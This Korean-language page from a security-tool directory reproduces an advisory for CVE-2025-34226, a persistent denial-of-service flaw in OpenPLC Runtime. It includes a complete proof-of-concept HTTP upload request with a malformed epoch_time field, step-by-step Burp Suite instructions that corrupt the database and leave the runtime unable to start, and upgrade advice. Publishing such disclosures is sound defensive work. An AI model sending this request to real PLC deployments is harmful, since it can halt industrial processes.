Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-34226 — OpenPLC Runtime에는 /upload-program-action 엔드포인트에 지속적 서비스 거부(DoS) 취약점이 존재합니다. | Kitploit
도구/GitHubGitHub/eyodav/cve-2025-34226
Vulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationMisconfigurationDatabase Security
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC Runtime에는 /upload-program-action 엔드포인트에 지속적 서비스 거부(DoS) 취약점이 존재합니다.

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-34226: OpenPLC Runtime의 지속적 DoS 취약점

취약점 개요

필드값
CVE IDCVE-2025-34226
영향 대상OpenPLC Runtime V3
수정 버전(커밋) 095ee09623dd229b64ad3a1db38a901a3772f6fc
심각도높음
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (높음)
CWECWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation

요약

OpenPLC Runtime는 /upload-program-action 엔드포인트에서 지속적 서비스 거부(DoS) 취약점의 영향을 받습니다.
프로그램 업로드 중 epoch_time 매개변수를 조작하면 낮은 권한의 인증된 사용자가 백엔드 데이터베이스를 손상시킬 수 있습니다.
이 손상은 처음에는 중요한 페이지들을 비활성화하고, 결국 전체 런타임이 시작되지 못하게 하여 애플리케이션을 재설치할 때까지 벽돌 상태로 만들 수 있습니다.


보안 영향

  • 지속적 DoS – 한 번 트리거되면 시스템은 전체 재설치 없이는 복구할 수 없습니다.
  • 데이터베이스 손상 – 익스플로잇을 통해 OpenPLC의 SQLite 데이터베이스에 잘못된 값이 주입되어 런타임 상태가 손상됩니다.
  • 운영 중단 – ICS/OT 환경에서 PLC가 관리하는 프로세스의 가동 중단을 초래할 수 있습니다.
  • 검증 우회 – 익스플로잇이 입력 검증을 우회하여 중요한 매개변수에 대한 정화(새니타이제이션) 부재를 보여줍니다.

기술적 세부 사항

영향을 받는 버전

  • 취약한 버전: OpenPLC Runtime ≤ v3 (최신 버전 아님)
  • 패치된 버전: 커밋 095ee09623dd229b64ad3a1db38a901a3772f6fc에서 수정됨

공격 벡터

/upload-program-action 엔드포인트는 검증 없이 데이터베이스에 직접 기록되는 epoch_time 필드를 허용합니다.
이 필드가 조작된 또는 무의미한 값(예: 1758627838 또는 잘못된 형식의 데이터)으로 설정되면 OpenPLC는 일관되지 않은 상태를 저장합니다.
런타임 리로드 또는 재부팅 시 애플리케이션이 손상된 행을 쿼리하여 NoneType 객체를 만나게 되고 치명적인 크래시가 발생합니다(TypeError: 'NoneType' object is not subscriptable).


개념 증명

PoC 1: 악의적인 업로드 요청 (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

재현 단계

  1. Burp Suite를 엽니다.
  2. Burp Suite 브라우저를 엽니다.
  3. OpenPLC 인터페이스로 이동합니다.
  4. 낮은 권한의 계정으로 인증합니다.
  5. /programs를 통해 프로그램을 업로드합니다.
  6. 임의의 이름을 선택합니다.
  7. Burp Suite 프록시를 켭니다.
  8. 요청을 Repeater로 보냅니다.
  9. epoch_time 섹션을 편집하고 원래 epoch_time 대신 "L"과 같은 임의의 문자로 변경합니다.
  10. 새로 조작된 요청을 전송합니다.
  11. /programs를 관찰하면 더 이상 작동하지 않는 것을 볼 수 있습니다.
  12. 그 후 OpenPLC를 다시 시작할 때 때때로 런타임이 시작되지 않으며 이후 OpenPLC를 다시 시작하는 것이 불가능해집니다.

즉시 조치

  1. 즉시 업그레이드 OpenPLC V3

참고 자료

  • 패치/릴리스 노트: [공식 최신 릴리스 링크]
  • 취약점 이력: [취약점 이력 링크]

크레딧

발견자: Eyodav

도구 다운로드